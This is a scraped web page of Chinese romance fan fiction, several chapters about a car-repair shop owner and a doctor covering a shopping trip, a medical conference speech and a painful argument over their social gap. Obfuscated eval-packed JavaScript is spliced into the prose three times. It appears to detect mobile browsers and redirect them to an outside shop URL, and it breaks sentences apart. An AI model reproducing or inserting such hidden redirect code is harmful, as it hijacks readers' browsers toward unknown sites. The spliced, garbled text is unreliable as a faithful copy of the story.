没想到的是李炎却展了个大笑脸,“月季比玫瑰花期要长,说明我这钢厂厂花长盛不衰啊。” “噗,”许行之一下没忍住,“谁给你取的外号?钢厂厂花?” “啊,自从我十六岁留长发开始,汽修店那条街就这么喊我了,”李炎口气里一点儿负担也没有,好像在说别人的事,“就是我爸听见一次就要骂一次,逮着我了还得揍一顿,但我喜欢这个称呼。” 许行之睁了睁眼睛,就伸手在许行之的后脑勺上抚了抚,“你长发很好,我很喜欢。” “你他妈的,”李炎笑出了声,“现在看我什么都是好的,你这叫滤镜。” 许行之左手牵上了李炎的右手,还特意让他摸了摸送给自己的皮筋儿,有些松垮地圈在许行之的胳膊上,就在他的腕表旁边,李炎转了一下手,变成了十指紧握的姿势,笑得很满足。两人边走边笑进了车,李炎看到副驾上还有一束橙色月季的时候惊讶了,他说他从来没有收到过正经的花儿,也从来没想到过许行之会给自己买花,凑过去想吻许行之脸颊的唇却被许行之的唇接住了,两个人闭着眼睛在许行之模糊的一句“想你”后吻了很久。 系上安全带的时候,许行之瞥了瞥李炎,看他的嘴湿漉漉的,“现在带厂花去买点儿装备,明天就能是厂草了。” 李炎笑得肩膀不停地抖,“系草配厂草,能行吗?” “行啊,”许行之又单手在打方向盘,太性感了,李炎心里想,“这不是正好么。” 许行之直接开到了市中心的一个商场,停好了车后轻车熟路地带着李炎到直梯口,出电梯后许行之都没有停顿,左拐右拐后到了一家西服成衣店。 许行之问李炎,“定做是来不及了,厂草能将就一下吗?” “这……”李炎拧着的眉毛出卖了他的紧张,“已经很不将就了。” 进去了之后店员出来先和许行之打了招呼,问许医生今天是来购置衣服么,许行之说是带朋友来的,店员对着两位微笑了一下说好的,就把两位引进了VIP室,拿了两瓶只有英文标签的矿泉水和两瓶巴黎水来,放到了沙发前的茶几上,许行之转过头去报了李炎大概的身高体重,店员说了句请稍等后就退了出去,顺便把门也带上了。 李炎看向许行之的神色有点慌张,他不知道接下来要干嘛,但这场面过于陌生直接把他给震慑住了,“什么意思?” 许行之拉过李炎的手到沙发这里坐下,“我有这的会员卡,买起来方便点。” “得往死里贵吧?”还是有点不放心,李炎小指挠了挠眉毛,“又给水又去拿衣服的,这服务放我们那,得喊我们叫爷。” “别多想,”许行之搓了搓李炎的手,“西服还是得买好些的,毕竟厂草。” 在李炎的概念里,市民中心的那幢大厦里的五六楼卖品牌男装女装的店里都没什么人,每次去也只是觉得那个楼层的洗手间更干净些,偶尔路过那些店面,那些柜姐柜哥就会看一眼路过的人,如果不是看起来穿衣打扮比较讲究的,他们也就是抬眼看看又低回头看手机。刘帆以前的女朋友好像就是一家品牌店的柜姐,之前有一次吃饭的时候也听她吐槽过,有些人装得二五八万的过来晃一圈,这试试那试试的,最后还是在试衣间里拍了衣服上网上买同款,整得自己每天职业假笑脸都要僵了。可李炎看出来刚刚那个店员小姐是真心在笑的,那种笃定的表情就好像是到自己的店里来洗车的小老板,一定不会在自己开价45的时候还价到40的自己一样,吃准了这个人会买单,还会买个大单。 “接下来要干嘛?”李炎问许行之。 “喝点水休息一下,一会儿她会拿一些款式过来,你挨个试一试,”许行之顿了顿,还是问了李炎,“是不是不太喜欢这里?要不我们换个地方?” “没,”李炎吸了一口气,“我就是有点不习惯,没事儿。” 店员拿了三套西装过来,一套纯黑色的经典款、一套深蓝色的、还有一套是深蓝色带细条纹的,还配了两件衬衫,店员小姐十分有分寸,只是把衣服挂到了衣架上,留了一句有什么需要再喊她就出去了,全程没有推销不说,连介绍都没有,李炎有些不解地看向许行之。 “里面有更衣室,”许行之的下巴向前抬了抬,“我……不太喜欢被打扰,他们就不太会和我说话。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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最终李炎还是拦住了本来想ALLIN的许医生,但拗不过他的一些小坚持,带走了纯黑和深蓝细条纹的两套,顺便两件衬衫也一起买了,看着大五位数的账单许行之扫码的时候连眼睛都没眨,李炎觉得刚刚的那两瓶没开的矿泉水一定不能浪费了,刚想拿走店员就走了上来,示意可以协助打包,端到手上来的时候甚至还送了两个精致的甜点,城里人实在是太会玩了。 离开商场之前许行之又给李炎顺了一双软羊皮的休闲皮鞋,说他穿运动鞋习惯了的一下子穿皮鞋可能会磨脚,但那明晃晃的价格牌就竖在那里,李炎的心都跟着哆嗦,赶紧买了就走,千万不能再让他发挥了,许行之刚刚还提到过的皮带最终还是被李炎拒绝了,说随便拿一条许行之的就行,他也不常穿千万别再破费了。 回家的时候三只猫都还认识李炎,毛肚甚至还跑过来用腮帮子蹭了蹭李炎的裤腿,李炎一把把毛肚抱了起来,质问上次是不是就是它把房间的空调温度调高的,毛肚嗷嗷叫了一声,就从李炎的身上跳下来了。 晚饭还是在家吃的,许行之做的家常菜,看得出才也是今天刚买的,看来许行之为了迎接自己的到来的确下了不少功夫,甚至有点用力过猛,享受是真的,紧张也是真的,他撑死了也是个钢厂厂花,不是什么高岭之花,糙日子糙过惯了,突然精致上了反而有点儿害怕。 但这些情绪都被见面的想念和喜悦冲淡了,夜里洗过了澡后许行之问李炎明天穿哪套,李炎说想穿黑的,许行之就拿着那套蓝色条纹的让他换上,李炎知道他什么意思,也没有扭捏,就是有点怕弄皱,许行之说他会小心一些,李炎姑且信了。事实上衣服也没发挥多久的作用,很快又被扔到了飘窗上,许行之这次准备得齐全,从床头柜里拿出那些东西的时候李炎笑得仰了过去,一边夸许医生细心一边和他接吻。 他俩进屋的时候是把门关上的,不想让三只小东西打扰到他们,事实上也并没有打扰到,无论三只猫猫怎么挠门,这两人都没工夫去理睬,直到夜深了它们也挠累了、都窝到角落里睡了,主卧里的两人还在喘息私语。 23. 第23章 这个医学论坛远比自己想得要更加隆重,李炎踏进这个五星级酒店的时候就被震撼到了,也不是没看过在酒店里开会的,就是从入口开始就有一个超宽的背景墙的的确不太常见,进门后直接有两位礼仪小姐迎着许行之和自己到签到处,许行之签到的时候安排签到的一位中年人站了起来,伸出了手要和许行之握,问是不是谁谁谁的弟子,许行之微笑着点了点头,对方说幸会幸会久仰大名终于见着真人了的时候,李炎才真正领略到什么叫拔尖儿,许行之不是精英、也不是什么高材生,他就是拔尖儿本身。 进入会场的一路还好,李炎这会儿有些庆幸许行之昨天带自己去买西服了,现场连摄影师都是穿着衬衫西裤的,根本就看不到一个穿休闲装的人,他们大多是白衬衫配各种类型的西服,昨天看到的三套也好,还有深灰色的、银灰色的,也大多都戴着眼镜,几个人挤在一堆,有的人连书包都没拿下来,许行之目不斜视,带着李炎直接往分论坛走,但他们偶尔离几个小堆近了,就能听见他们在讨论的内容,有些是病例、有些是用药,李炎只能记住这几个关键词,更多的是他听也听不懂的英语和专业名词。 许行之偶尔会侧过头来问李炎,会不会不习惯这样的场合、要不要出去转转,李炎就摇摇头,他知道如果要和许行之在一起的话,这种场合怎么都是避免不了的,既然避免不了,那就提前练习适应,把心里的这些畏缩和紧张都摊平了,以后就能更自然些了。 进了分会场后,许行之先把李炎安排到了第二排的边边位置上,又和他小声说了两句,自己才坐到第一排有席卡的位置。李炎看到许行之刚一落座就有个工作人员迎了上去,在许行之边上和他交流什么,他看到许行之点了点头,工作人员就走开了,这会儿李炎的手机震动了一下,他在门口看到了进入会场要静音的标志,所以一进门就调到了震动模式。 知:第三个,可能要等一会儿了 大漂亮:知道了,你再看会儿 知:要是觉得无聊就出去转转,侧门那可以抽烟 大漂亮:忙活你自己吧啊许医生,这么多人,我都替你紧张 知:[棒棒糖] 李炎没再回复了,他扬起嘴角笑了笑,这个满心满眼都是他的人啊,这么大场面还顾着自己,昨晚都没打开过电脑也没看资料,李炎的确有些为他担心。 在前两位专家的分析之后,主持人邀请了许行之上台演讲,在介绍许行之的时候,念了一堆抬头,从学校到工作,从师承到研究领域,从论文篇数到课题研究,每介绍一段,李炎的头就往上抬一点,直到看到许行之站到演讲台后面。许行之在思考的时候喜欢用手掌抚着自己的脖子,这是李炎注意到的他的习惯,在主持人打了招呼后,许行之礼貌地对着人笑了笑,就在演讲台后拿起了翻页笔,先试了试上下翻页好不好用,又吹了两下话筒,站定的时候,李炎觉得全场都安静了下来。 所有的目光都看向了他,所有人的注意力都集中在他的身上。 世界永远赞美年轻有为的人。 更何况他英俊又帅气。 许行之开始讲的时候,李炎就全神贯注了进去,即使什么都听不懂,但许行之的声音就在这报告厅的四面环绕着,李炎就好像沉浸到了一块都是许行之气味的棉花糖里,都来不及感受糖的甜度,先被四面包裹的软围住了。许行之站在演讲台后几乎没什么大动作,他只是偶尔断句的时候抬起头来看看台下的反应,看到台下的人并没有露出疑问的神色后又继续,有的时候翻过一页PPT,许行之会侧身往后看一看画面是不是同步,在演讲的过程中他也会穿插一两个有趣的说法,为什么是有趣李炎不是自己听懂的,而是他是从台下突然笑起来的反应里判断的,他向四周望了望,绝大多数人都向台上看着,他也回过了头看许行之,他的唇角也带着笑意,是刚刚演讲过程中开着玩笑的后续,背后的LED屏幕很大,第二排都能感受到热意,不知道许行之在台上会不会出汗,但此刻的许行之在台上神情自若、光彩熠熠,李炎此刻非常后悔没有好好在语文课上听老师讲的那些修辞手法,他能想到的最恰当的描述,就是许行之此刻像一颗散着无尽光芒的恒星,而他,竟然手握这颗恒星。 李炎发现,许行之念英语时伴着后鼻音,是从口腔后半部分发出的共鸣,和他一直以来听到的英语念法不一样,几乎没有卷舌,而是“啊”是“啊”、“哦”是“哦”的,直到坐在旁边的旁边位置上的那两个年轻的姑娘轻声说了一句“许医生的英音真好听啊”,他才明白为什么不同。 演讲的时间不长,总共也就15分钟时间,许行之只用了10分钟来分享内容,最后5分钟留下来和大家做交流,举手的人并不多,他们或起来提一个问题、或问许行之就某个问题的看法,以及相关案例某个行为的讨论,许行之回答得都很简洁,但李炎能看出来他这并不是敷衍,而是一针见血地找到了问题,在座的提了问题的和没提问题的都很满意。最后一个问题是一个中年人问的,他问许行之针对国内的相关领域研究现状,理论和实践上和国际还有很大差距,希望许行之作为新兴之星来给刚刚就读于这个专业和投身于这个领域的人指点方向,又追问了一句许行之有没有出国深造的打算。 听到这个问题李炎突然就慌张了,他觉得这会儿就像是在包子铺边上等了很久的才出锅的包子,刚到手的包子老板娘却要了回去要卖给隔壁的大爷,他忍不住咽了口唾沫,盯着许行之看,他也想知道这个答案,没想到这时候许行之却看了过来,视线与李炎撞上了,撞上的时候答案就撞到了李炎的心里,还没开口他就把李炎悬着的心放下了。 “谢谢您的提问,针对您的问题,首先我希望读这个专业的同学都能有一颗强心脏,或者逐渐培养起自己的强心脏,我们作为研究者,在研究案例的时候就要保持稳定,自己成为常量才能在面对各类心理问题的时候成为患者的支撑。其次出国深造这个选择,我认为见仁见智,我本身认为研究需要因地制宜,国际前沿理论固然需要我们时长去学习,但在案例研究方面,地域、文化也是十分重要的因素,我的研究方向主要在于国内,目前没有出国的打算,但十分欢迎和国外的学者一起交流。” 一段话下来,回答也有了、体面也有了、方向也有了,李炎看了看刚刚提出问题的那人,看见他一脸欣慰才明白,他应该也是一个专注国内案例研究的学者吧,希望这个领域后继有人、青出于蓝。 许行之演讲完毕后,正好是茶歇,李炎看到很多人都站起来了,于是他想着也到许行之边上去,但还没离开凳子就看到有人向许行之走了过去,一个两个、又有一个、又有两个,慢慢的许行之周围围了一圈人,他们纷纷向许行之递上名片,李炎看到许行之接了名片后不好意思地摆摆手,他好像没带名片,但有几个立刻又掏出了手机,问他能不能加个微信,于是许行之也拿出了手机打开了二维码,刚刚递名片的人也拿出了手机,李炎忍不住皱了皱眉毛笑了笑,感觉他的二维码今天能比汽修店隔壁杂货铺的那个码扫更多次。 这会儿李炎已经放弃站起来了,他就坐在位子上发愣,心里清楚有落差和真实体会到落差的区别太大了,其实这会儿离许行之不过两米左右的直线距离,他怎么就觉得离他这么、这么远。平日里无所事事的时候李炎可以毫无负担地拿出手机玩消消乐,可这会儿他连手机都不好意思拿出来,别人拿出来是交际的,我拿出来干嘛?玩吗?刷朋友圈吗? 胡思乱想的时候有一只手轻轻敲了敲自己的桌子,李炎抬头看到许行之已经站到了他的面前。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338574|199286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “无聊坏了吧?”许行之笑着对李炎说,“走吧?” 李炎这才站了起来,小声问他,“不是还没结束么,可以走了吗?” “没什么不可以的,我答应的也只是来做个分享而已。”许行之还是笑着,眼睛里蕴着温柔,“还是你想再听一会?” “我听什么,又听不懂,走了走了。”李炎没有带东西,抬腿就跟着许行之出了分会场的门。 许行之在人群来往中捏了捏李炎的胳膊,李炎也转过去对着他笑了笑。 走回酒店大堂会议接待处的时候,有人叫住了许行之。 “许医生!”那人走过来就要和许行之握手,“没想到你们科室派你来演讲啊,刚刚我就坐在角落里听来着,真是醍醐灌顶、精彩绝伦。” 许行之对这个人印象不深,只觉得眼熟,但今天在这的基本都是医生,也和这人握上了手。“不好意思,我有点记不清,您是?” “哎怪我怪我,哈哈哈,”那人笑着又和许行之握了两下才松了手,“我也三院的,心内科的陈睿,平时和肺循环科走得近,之前还老见你往肺循环科跑呢,这几年少了。” 许行之轻轻皱了下眉,点了点头示意,想随意打个招呼就走了,却没想到肺循环科的邱立勤也来参了会,这会儿也走了过来,他一下就想起了陈睿,之前去肺循环科的时候,经常能看见邱立勤和陈睿凑在一起唠闲嗑。 “许医生来了啊,”邱立勤过来的时候就对陈睿扬了个下巴就算打了招呼,看来两个人真的很熟,看到了李炎后,邱立勤又加了一句,“哎,这位朋友也是第二次见了。” 李炎对他的这个口气有些不满意,但也没发作,只是在一边默不作声,上次就是这个人打听自己是不是患者又是不是患者家属的。 “哎呦,疏忽了,不好意思,许医生的朋友么?”陈睿转过头去看李炎,也伸出了右手,“我是陈睿,请问您怎么称呼?不知道研究哪方面的课题?” 李炎沉默了,他说不出话,自己的身体好像被无限拉长,但脚却动不了半步,他与时间共同成为了光锥,可这其实也不过一瞬而已。 “他不是医生。”许行之回答了。 “不好意思不好意思,”陈睿立马道了歉,“惯性思维了都,您在哪个领域发展?” 陈睿无知的抱歉和邱立勤有意的沉默,化成了两根又长又细的钢针,看着柔软,硬度却出奇地大。 面对别人轻而易举地可以说出自己是“修车的”,可李炎这会儿怎么都说不出口,他怕给许行之丢人。 他知道,许行之的前任曾经也是三院的医生,许行之选的人,也一定不会差。 他们一定能共同探讨病例、研究课题,那个人肯定能一下就听出许行之英语口语讲的是英音,也能听懂许行之在台上说的玩笑话。 可李炎什么都不懂,除了注视,他什么都办不到。 “开修车行的,我男朋友。”许行之拉过了李炎的手,握住了。 陈睿和邱立勤的眼睛都瞪直了,许行之虽然从不遮掩,但也不曾外露,之前他和周医生的事儿,大家算是看在眼里却不会说透,偶尔就只有几个小护士开一些无伤大雅的玩笑,许行之直接主动挑明了关系的样子,他俩着实是头一回见着。 李炎回握过去的手很小心,只是微微曲了一下,看向许行之的眼睛仿佛定住了。 难以置信也好、不可思议也好,刚刚脑子里的万千思绪,被许行之直接拿着一把精钢剪,咔嚓,全部剪断了。 许行之捏了捏李炎的手,轻声说了句,“走了。” 他就带着李炎,头也没有回,踏出了酒店。 阳光真好,和酒店里灯照出来的亮完全不一样,就是打在李炎的脸上,他有点想哭。 24. 第24章 离开了会场后李炎一直都很安静,不似之前在车里眉飞色舞和许行之说这说那,他突然又想抽烟了,经过一家小店的时候,李炎让许行之把车靠边停一下,开车门下去的时候,李炎才觉得一直憋在会场里的那口气缓了过来。 买烟的时候李炎习惯性地要了自己抽惯了的牌子,眼睛一撇却看到了许行之放在副驾抽屉里的那种,他不舍得抽的,许行之却用来做人情备用。小店老板娘见他拿了烟不动,还给他重复了一遍价格,李炎才反应过来赶紧扫了码付了钱。要出这个小店的时候,李炎看到玻璃门上虚虚地映着自己的样子,染黄了的长发扎了个小辫儿,眼神、表情、动作,好像没有一个是和斯文沾边的,穿的这一身西装不伦不类,自己到底是哪来的勇气和许行之提出要来听他演讲的呢。 怎么敢的啊。 真是……无知无畏啊。 在钢厂的时候,李炎从来不在意别人的眼光,他放肆、骄纵、怎么高兴怎么来,甚至这种状态一直持续到了现在,在那里,谁不知道老李家的大漂亮自我又潇洒。可到了这,李炎小心翼翼、畏畏缩缩,他也喜欢这里的热闹与繁华,可到了这里他会担心,在西服店里拿走矿泉水会不会被人看不起,买鞋的时候多试几双会不会被店员在背后指指点点,在被那俩医生点名的时候大脑一片空白会不会让人觉得他是个水货。 还水货呢,李炎自嘲地笑了笑。 水货至少有水,他只有一个不锈钢盆。 他走出小店的时候并没有立刻走向许行之的车,而是习惯性地就在小店门口点了一根。今天因为是正式场合,李炎没有把西服外套全敞开,而是都扣上了,出门前许行之又把他最下面一颗扣子解开了,李炎这才知道,西服也是有穿法的。从会场出来一直到现在,阳光很晒、气温也的确很高,李炎的额角流下了汗,但他却感觉不到热,而一种从心底里油然而生的错位感,占满了他的脑子。 许行之一直没有催他,而是就静静地在路边停着,也打着双闪,即使李炎没有去看他,也能感受到,许行之一直在看着自己,这种错位感和与许行之在一起的满足感共同存在,互相拉扯着身体的一边,偏向任何一方的时候,都没有对半分时来得痛苦。 交警不知道什么时候来的,摩托车停在许行之车前的时候,李炎迅速把烟灭了,赶紧往车的方向走,他动的时候许行之也下了车,递上了驾驶证和行驶证,看神情应该是在和交警赔礼道歉,李炎快步走到的时候才听到许行之说让朋友帮忙去店里买包烟,马上就开走,交警看到李炎回来了,口头警告了一下交规要好好读一读,划黄线的路边严禁停车,这次停得不久就算了,许行之认真点了点头,说一定一定。 坐上车的时候李炎还是没说话,也没朝着许行之看,就这样一直别着脑袋看窗外。 许行之也是上了高架之后才开的口,“一会儿晚饭想吃些什么?” 李炎动了动身子,声音里都没提上什么气,“随便吧,都行。” “吃完饭看电影吗?”许行之又问。 “嗯,看不看都行。” 答完之后许行之就不说话了,李炎的脑袋也始终没有回过来。 夏季傍晚的天空染上了深橘色,太阳一半落在云里,一半还在努力发亮。 “回家吗?”李炎突然说,“我们回家好吗,许行之?” “好。” 下高架的时候,李炎看到太阳最后的落脚点,不在云里,而是这座城市的高楼上,视线从下往上的时候,根本看不见会遮住太阳的云,这里真的太霸道了,连太阳都会让步。 在地下停车库停好车的时候,两个人都没动,李炎咬了咬嘴唇,好像是想说些什么。 许行之这次没有先开口问,给了李炎充分的耐心。 “你……”李炎的开口好像很艰难,“我是不是太露怯了啊?” “有点儿。”许行之微微点了点头。 “我……”这句话应该更艰难,李炎过了好久才把后半句说了出来,“是不是太拿不出手了啊?” 许行之这次皱着眉摇了摇头,“没有。” 李炎盯着许行之看了一会儿,说了句“上楼吧”,就下了车,许行之也跟了下来,去后座拿了电脑包,比李炎晚了两步,但李炎这次没等许行之,自己进了电梯后直接上了楼,门合上的时候他俩对视了一眼,李炎清楚地看到许行之轻叹了一口气。 回到家的时候李炎已经换好了拖鞋坐在沙发上了,他把烟拿出来了却没抽,眼睛直愣愣地看着放在茶几上的烟灰缸,许行之走近了也没有动作,这次许行之是坐在侧边的单人沙发上的,没有贴着李炎,也没有坐在地上靠近他。 肥牛和毛肚出来了,绕着俩人的腿转了一圈,尾巴根都贴了贴两人的腿,蹭了两下后发现没人伸手摸它们,俩猫就陆续走开了,去猫碗里吃了两口粮,就朝着不同的方向离开了客厅。 “感觉怎么样?”李炎问许行之。 许行之说:“什么感觉?” “跟不上电梯的感觉。” “感到……”许行之如实说,“有一点遗憾。” “怎么没着急上来摁按钮?”李炎终于抬起头来看向了许行之,“快走两步的话,你明明赶得上的。” “你不想让我跟上,”许行之不急不缓地说着,“我赶那两步也没用。” 李炎苦笑了一下,是啊,就算许行之赶上了,李炎也会把他推出电梯再让他等下一班。 “为什么是感到遗憾而不是着急?”李炎又问。 “因为过去的事情无法改变,没必要着急,”许行之也看向李炎,眼神坚定,“跟不上电梯这个事情如果注定要发生,那它一定会过去。” “那你遗憾的是什么?” “遗憾的是……”许行之说得很慢,声音很稳,“你没有把住电梯等我,也没有从电梯里出来和我一起坐下一班。” “许行之,”李炎的眼神躲闪了,声音里带着一些慌乱,“你是不是,看我一眼,就知道我在想什么,要说什么。” 许行之沉默了很久,他怕自己再进入那个怪圈,像下定了决心一样,他说了个字,“是。” “你还说你不是算命的。” 许行之也苦笑了下,“算命的应该比我挣得多。” “你挣得够多的了,”这会儿李炎话语里倒轻松了些,“大几万,说花就花。” “给你,我挺愿意的。” 李炎叹了口气,他弄不明白自己究竟有什么魅力。 “李炎。”许行之皱了皱眉,好像在思考下一句话应不应该说。 “有话就说。” “我也不是随时都能知道你在想什么,也有可能会判断错误,”许行之顿了顿,“所以我还是希望你有什么就讲出来,让我知道,如果久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338575|199286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而久之不说的话,我怕我真的会忽略你的感受,即使是不小心,我也不愿意那样。” 李炎抿了抿唇,拿了烟盒又放下,他没在许行之家里抽过烟,他不想打破这个现状。 但他也,始终没有继续往下说。 许行之在等,从会场里出来就在等,有些话他没办法直接说,如果换成了他先开口,会变得说教甚至教条,还可能会有一些隔岸观火的意思,他几乎要把所有的耐心都快用上了,问李炎吃不吃饭的时候是试探,问他看不看电影的时候是催促,在车里的时候他以为李炎要开口了,可问了两句还是退了回去,李炎快步进电梯的时候,他就知道,李炎想干什么,可是他不开口,许行之就只能感受,只能就事论事。纯就事论事的话,解不了李炎心里的结。 这会儿许行之甚至有些责怪自己,一向稳扎稳打的自己,怎么就头脑一热冲动上了,刚开始的时候他就想过,这次一定要慢慢来,要循序渐进,要渗透式地了解与相处,他俩的不同,许行之甚至比李炎更清楚,但他压不过心里的这份喜欢与近乎本能的靠近,他知道李炎也一样,即使横在两个人之间的沟壑那么深,他在和李炎表明心迹的时候,就下了决心,修路也好、铺桥也好,就算是甩一根索道到对岸,想尽办法也要把两个人连在一起。 可他这会儿有些慌张了,今天的发生的这一切,李炎的每一个反应,都是不适应,许行之在想是不是自己做错了,过早地让李炎接触到自己的圈子、过早地让他感受到快节奏的生活,或许这周不见面就好了,下周自己去钢厂的话,是不是就能避免这样的情况。 “许行之……”李炎开了口,满满的无力,“我跟不上你。” 李炎没有等许行之说话,他低着头自顾自地说着,“你就像——天上的云一样,有的时候看着很近,甚至还能让人想象摸上去的触感,可始终没有人摸到过,我就是那个不自量力想要够着云的人。” “刚刚的电梯我是故意的,对不起,”李炎又说,“我不知道该怎么表达,就想让你切身感受下跟不上是什么感觉,我感到着急,也感到遗憾,你不需要等我、更没必要从电梯里出来和我一起坐下一班,我着急的是我怎么迈不快步子,遗憾的是我为什么没能力和你坐上一班电梯。” 再抬起头来的时候,李炎的眼睛已经有些湿润,“你现在知道,我们为什么不一样了吧。” “李炎……”许行之拧紧了眉毛,摇了摇头。 “云泥之别,是这么个成语吗?” 许行之还是摇头,声音有些哑了,“……李炎。” “看来说对了。” “你要放弃我吗?”说出这句话的时候,许行之觉得心脏的血管都堵上了,呼吸都有些不顺畅。 李炎这会儿终于明白,顾飞说的“拖死挺好的一个人”*是什么感觉,且不论顾飞自身的优秀,他那会儿尚且年纪还小,还有改变的空间和机会,可自己呢。 我呢,我又凭什么。 我什么都改变不了。 我们在过去就已经拉开了那么长一段距离,未来你的路会越走越宽。 我怎么好意思,和你一起,称为“我们”。 李炎的嘴都快咬破了,眼眶红得不成样子,但始终控着泪不让它掉下来。 “我不想的。” 这四个字支离破碎。 *引用巫哲《撒野》第123章 25. 第25章 许行之还是下了两碗面,见李炎不愿意动,就把其中一碗端到了茶几上,又放上了一双筷子,他自己的那碗放到了餐桌上,自己在椅子上坐下了。许行之此时并不是不想去拥抱他,可他清楚地知道他现在如果做任何亲密的动作,都会加速李炎的远离,于是他把安全距离放大,把整个客厅都留给了他。 三只猫猫这会儿都出来了,原来是到了平时吃罐头的时间,毛肚先是装模作样地去客厅里溜达了一圈,对着李炎喵嗷了一声,又在他的小腿上蹭了蹭,才溜达到许行之的面前来,肥牛和金针菇也都来了,就在许行之的面前坐着等。许行之起身进了厨房,给三只分好了罐头,又回到餐桌边坐下。 这会儿他已经看到,李炎在动手吃面了,于是许行之也动了起来,汤面如果不搅和的话,很快就会变成硬坨坨,许行之的筷子放进去之后都有些搅和不动了,他又抬头看了一眼坐在沙发上的那人,恰巧捕捉到李炎的一滴泪砸到面碗里,他也假意赶紧吃了一大口面,强忍住自己想到他身边去的冲动,镜片被面的热气晕上了白雾,也给了许行之一些遮挡,他这会儿也有些眼眶发涩,感觉嗓子都被束起来了,如鲠在喉。 很快,两人的面碗都见底了。 李炎端着碗走了过来,路过餐桌的时候看到许行之也吃完了,就把碗筷一起收了,走进厨房的时候许行之拦了一下,李炎混着鼻音的“让我洗一次碗”,终究让许行之败下阵来,他靠在厨房门边,看到李炎就在水槽前,拿了清洁海绵挤上了一些洗洁精,就这么背对着自己,双手的动作应该是在洗碗,就是时不时右手会往上抬一下,两只面碗洗的时间也太久了,冲掉泡沫的水龙头一直开着,水流的声音盖住了另一些微弱的声响,水压却没有压住李炎微微耸动的肩膀。 一股强大的冲力涌了上来,许行之都没来得及感受这是什么,就把他得心应手的心理学判断与实践冲垮了,他顾不上什么安全距离,也无所谓什么亲密排斥,他走到了李炎的背后,紧紧环住了他的肩膀,下巴就搁在李炎的颈窝上,半张脸贴着他的后脑,用力蹭着他有自家洗发水香气的黄色长发。 “李炎……”许行之开了口几乎都有些发不出声。“只想我可以吗?不要管别的,只想我。” 李炎的肩膀抖动得更厉害了,他咬着嘴唇低头,大颗大颗的眼泪砸下来,说话都有些不连贯,“你要我,怎么只想你?”他好听的声音里都混着绝望,“我总不见得,在你每一次获得荣誉的时候,都感慨自己的无能。我会厌恶这样的自己,你也总有一天会厌倦单一的我,我他妈就是这么……这么简单,你说的那些……太难了、太难了,我都听不懂!” 李炎几乎歇斯底里起来,“我为什么!为什么、为什么要喜欢你啊……许行之,你为什么要引诱我……”李炎转过了身来,一张已经哭皱了的脸对着许行之,满脸泪痕,整个人都在发抖,“你可以装不知道的,你明明可以忍着就当不知道,你比我聪明,你看不见我们的差距吗!!你为什么还要挑明啊!放走我不好吗……我和你,不一样的啊……” “因为!我喜欢你啊……”许行之的冷静被李炎的泪烧光了,声音里都有些藏不住的颤抖,握着李炎胳膊的手忍不住捏紧了,用力往自己怀里一摁,他紧紧地拥住了李炎,试图用自己的体温来安抚眼前的这个人。“我喜欢你啊……让我放走一个喜欢的人,你残忍吗?” 李炎的双手始终没有回抱住许行之,他倔强地抬着头,下巴磕在许行之的胸口上,眼泪顺着泪痕一股一股地涌着,声音已经有些发不出来了,“那让我面对这些我永远达不到的高度……你残忍吗?” 许行之的呼吸滞住了,看着李炎痛苦的样子,他真觉得自己很残忍,只是为了自己的喜欢、为了自己的私欲、只是为了相信是两情相悦的,竟然把骄傲洒脱的李炎逼到了这个境地,他自以为在引导上游刃有余,此刻却捉襟见肘,他感受到的是超脱自己掌控的无力,他不知道该怎么安慰李炎,只能无声地用力抱着他,他想把自己胸腔的热意传递给他,唯有鼓励和等待,别无他法。 “可是我……”李炎都有些站不住了,他最终还是伸手环住了许行之的腰,“我那么无能,却还是想和你在一起,不是你残忍,我不应该那样说……”他抽噎着,声音都几乎找不着调,“是我太自以为是了,是我太贪心了,对不起。” “李炎……”许行之一下下地顺着李炎的背,又轻轻拍拍,把他往自己身上靠,他愿意承载住他所有的重量,包括精神上的压力。 “我明天早上回去,”李炎的声音从许行之的胸口处漏上来,“你别送我了,我知道怎么去南站。” 许行之闭上眼睛深呼吸了一下,皱着眉咬紧了牙关。 “给我点时间,许行之,”李炎咽了一下唾沫,“让我想一想,好吗?” 他句句没有提结束,可字字都泛着疼。 “……好。” 你要想多久,我们下次什么时候见面,你会离开我吗? 问题就在嘴边,许行之却不敢说出口。 还是开始得太快了吗,他问自己,可他已经尽量放慢了脚步。 他在确定了李炎对自己的感觉后,才真正开始接近他。 是他的引导错了吗,那些有意无意的话,影响了李炎的判断了吗? 他没法对李炎说不,他只想给李炎无限散发张扬的空间。 李炎是他的玫瑰,许行之只想当一个养花人。 “别和顾飞蒋丞说我来过,”李炎的声音很轻,“也别告诉他们我们的关系。” “……嗯。” 许行之的拥抱一直没有松手,直到李炎说了句困了,他才放开了,李炎先是进了主卧,把自己的牙杯牙刷和毛巾拿了出来,又回到次卧里换了衣服,才走到客厅里的卫生间里洗漱,许行之一直就站在厨房里没动,看着李炎又走回了客房,然后关上了门,他这才脱力地靠在了厨房台面的沿上,两手向后撑着,深深叹了口气。 